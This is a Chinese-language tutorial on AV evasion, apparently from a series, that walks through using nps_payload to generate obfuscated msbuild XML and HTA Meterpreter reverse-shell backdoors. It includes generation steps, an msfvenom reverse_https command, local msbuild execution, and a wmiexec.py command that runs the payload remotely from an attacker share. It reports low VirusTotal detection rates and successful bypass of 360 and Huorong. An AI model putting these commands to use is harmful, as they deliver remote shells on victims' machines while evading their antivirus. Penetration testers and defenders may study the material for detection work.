免殺能力一覽表
幾點說明:
1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。
2、為了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。
3、由于本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。
4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作為免殺或殺軟查殺能力的判斷指標。
5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。
一、nps_payload介紹
nps_payload是2017年開源的工具,安裝使用都比較簡單,nps_payload可以生成基于msbuild的xml文件和獨立執行的hta文件,并對xml文件和hta文件做了一定的混淆免殺,從而達到免殺的效果。
二、安裝nps_payload
1、克隆到本地
git clone https://github.com/trustedsec/nps_payload
2、安裝py依賴
pip install -r requirements.txt
3、運行python nps_payload.py
三、nps_payload使用說明
nps_payload生成的xml或hta文件都需要使用msbuild來執行。
Microsoft Build Engine是一個用于構建應用程序的平臺,此引擎也被稱為msbuild,它為項目文件提供一個XML模式,該模式控制構建平臺如何處理和構建軟件。Visual Studio使用MSBuild,但它不依賴于Visual Studio。通過在項目或解決方案文件中調用msbuild.exe,可以在未安裝Visual Studio的環境中編譯和生成程序。
說明:Msbuild.exe所在路徑沒有被系統添加PATH環境變量中,因此,Msbuild命令無法直接在cmd中使用。需要帶上路徑:C:\Windows\Microsoft.NET\Framework\v4.0.30319。
適用條件:.NET Framework>=4.0
nps_payload對xml文件和hta文件做的一些免殺是比較直接有效的:
三、利用nps_payload生成后門
我就以生成基于msbuild的xml文件為例進行演示。
執行python nps_payload.py,選擇1,Generate msbuild/nps/msf payload
第2步payload選擇1,windows/meterpreter/reverse_tcp
后面輸入監聽IP和端口
之后可生成后門文件
我們需要用到的只有msbuild_nps.xml這一個文件
msbuild_nps.xml文件內容如下,命令經過了編碼處理
文件的執行方式有兩種
1. 本地加載執行:
- %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml2. 遠程文件執行:wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe \\<attackerip>\<share>\msbuild_nps.xml
我這里就用本地加載進行測試,msbuild.exe在windows中的的一般路徑為C:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe
msfconsole監聽相應payload和端口,可正常上線
打開殺軟進行測試
virustotal.com上查殺率為3/56
使用nps_payload生成的hta文件,virustotal.com上查殺率為7/57。(msf直接生成的hta-psh文件查殺為28/57,msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f hta-psh -o test.hta)
四、nps_payload小結
基于白名單的執行payload侯亮大神講的比較多了,nps_payload只是使用了其中的msbuild.exe方法,nps_payload還對生成的文件進行了混淆處理,使用非常簡單,免殺效果也是不錯的。
五、參考資料
官方Github:https://github.com/trustedsec/nps_payload
基于白名單Msbuild.exe執行payload第一季:https://micro8.gitbook.io/micro8/contents-1/71-80/71-ji-yu-bai-ming-dan-msbuild.exe-zhi-hang-payload-di-yi-ji
使用msbuild.exe繞過應用程序白名單(多種方法):https://www.cnblogs.com/backlion/p/10490573.html